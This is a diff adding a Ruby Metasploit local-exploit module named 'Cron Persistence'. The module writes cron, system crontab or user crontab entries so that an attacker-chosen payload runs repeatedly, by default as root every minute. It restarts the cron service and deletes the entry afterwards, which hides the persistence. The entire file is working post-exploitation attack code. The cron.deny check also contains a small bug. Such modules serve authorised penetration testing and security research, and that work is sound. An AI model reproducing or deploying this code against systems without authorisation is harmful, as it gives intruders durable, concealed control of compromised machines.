|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/post/file' |
| 8 | + |
| 9 | +class MetasploitModule < Msf::Exploit::Local |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Post::File |
| 13 | + include Msf::Post::Unix |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super( |
| 18 | + update_info( |
| 19 | + info, |
| 20 | + 'Name' => 'Cron Persistence', |
| 21 | + 'Description' => %q( |
| 22 | + This module will create a cron or crontab entry to execute a payload. |
| 23 | + The module includes the ability to automatically clean up those entries to prevent multiple executions. |
| 24 | + syslog will get a copy of the cron entry. |
| 25 | + ), |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + |
| 30 | + ], |
| 31 | + 'Platform' => ['unix', 'linux'], |
| 32 | + 'Targets' => |
| 33 | + [ |
| 34 | + [ 'Cron', { 'path' => '/etc/cron.d' } ], |
| 35 | + [ 'User Crontab', { 'path' => '/var/spool/cron' } ], |
| 36 | + [ 'System Crontab', { 'path' => '/etc' } ] |
| 37 | + ], |
| 38 | + 'DefaultTarget' => 1, |
| 39 | + 'Arch' => ARCH_CMD, |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'BadChars' => "#%\x10\x13", # % always seems to fail, # is for comments |
| 43 | + 'Compat' => |
| 44 | + { |
| 45 | + 'PayloadType' => 'cmd', |
| 46 | + 'RequiredCmd' => 'generic perl ruby python' |
| 47 | + } |
| 48 | + }, |
| 49 | + 'DefaultOptions' => { 'WfsDelay' => 90 }, |
| 50 | + 'DisclosureDate' => "Jul 1 1979" # Version 7 Unix release date (first cron implementation) |
| 51 | + ) |
| 52 | + ) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('username', [false, 'User to run cron/crontab as', 'root']), |
| 57 | + OptString.new('timing', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), |
| 58 | + OptBool.new('cleanup', [true, 'delete cron entry after execution', true]) |
| 59 | + ], self.class |
| 60 | + ) |
| 61 | + end |
| 62 | + |
| 63 | + def exploit |
| 64 | + # https://gist.github.com/istvanp/310203 for cron regex validator |
| 65 | + cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+' |
| 66 | + cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+' |
| 67 | + cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+' |
| 68 | + cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+' |
| 69 | + cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s* |
| 70 | + # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?' |
| 71 | + unless datastore['timing'] =~ %r{#{cron_regex}} |
| 72 | + fail_with(Failure::BadConfig, 'Invalid timing format') |
| 73 | + end |
| 74 | + cron_entry = datastore['timing'] |
| 75 | + if target.name =~ /User Crontab/ |
| 76 | + unless user_cron_permission?(datastore['username']) |
| 77 | + fail_with(Failure::NoAccess, 'User denied cron via cron.deny') |
| 78 | + end |
| 79 | + else |
| 80 | + cron_entry += " #{datastore['username']}" |
| 81 | + end |
| 82 | + flag = Rex::Text.rand_text_alpha(10) |
| 83 | + cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later |
| 84 | + case target.name |
| 85 | + when 'Cron' |
| 86 | + our_entry = Rex::Text.rand_text_alpha(10) |
| 87 | + write_file(target.opts['path'] + "/#{our_entry}", "#{cron_entry}\n") |
| 88 | + vprint_good("Writing #{cron_entry} to #{target.opts['path']}/#{our_entry}") |
| 89 | + if datastore['cleanup'] |
| 90 | + register_file_for_cleanup("#{target.opts['path']}/#{our_entry}") |
| 91 | + end |
| 92 | + when 'System Crontab' |
| 93 | + file_to_clean = "#{target.opts['path']}/crontab" |
| 94 | + crontab = read_file(file_to_clean) |
| 95 | + crontab << "\n#{cron_entry}\n" |
| 96 | + write_file(file_to_clean, crontab) |
| 97 | + vprint_good("Writing #{cron_entry} to #{file_to_clean}") |
| 98 | + when 'User Crontab' |
| 99 | + file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['username']}" |
| 100 | + crontab = read_file(file_to_clean) |
| 101 | + crontab << "\n#{cron_entry}\n" |
| 102 | + write_file(file_to_clean, crontab) |
| 103 | + vprint_good("Writing #{cron_entry} to #{file_to_clean}") |
| 104 | + # at least on ubuntu, we need to restart cron to get this to work |
| 105 | + vprint_status('Reloading cron to pickup new entry') |
| 106 | + cmd_exec("service cron restart") |
| 107 | + end |
| 108 | + print_status("Waiting #{datastore['WfsDelay']}sec for execution") |
| 109 | + sleep(datastore['WfsDelay'].to_i) |
| 110 | + # we may need to do some cleanup, no need for cron since that uses file dropper |
| 111 | + # we could run this on a on_successful_session, but we want cleanup even if it fails |
| 112 | + if file_to_clean && flag && datastore['cleanup'] |
| 113 | + print_status("Removing our cron entry from #{file_to_clean}") |
| 114 | + cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") |
| 115 | + if target.name == 'User Crontab' # make sure we clean out of memory |
| 116 | + cmd_exec("service cron restart") |
| 117 | + end |
| 118 | + end |
| 119 | + end |
| 120 | + |
| 121 | + def user_cron_permission?(user) |
| 122 | + # double check we're allowed to do cron |
| 123 | + # may also be /etc/cron.d/ |
| 124 | + paths = ['/etc/', '/etc/cron.d'] |
| 125 | + paths.each do |path| |
| 126 | + cron_auth = read_file("#{path}cron.allow") |
| 127 | + if cron_auth |
| 128 | + if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/ |
| 129 | + vprint_good("User located in #{path}cron.allow") |
| 130 | + return true |
| 131 | + end |
| 132 | + end |
| 133 | + cron_auths = read_file("#{path}cron.deny") |
| 134 | + if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/ |
| 135 | + vprint_error("User located in #{path}cron.deny") |
| 136 | + return false |
| 137 | + end |
| 138 | + end |
| 139 | + # no guidance, so we should be fine |
| 140 | + true |
| 141 | + end |
| 142 | +end |
0 commit comments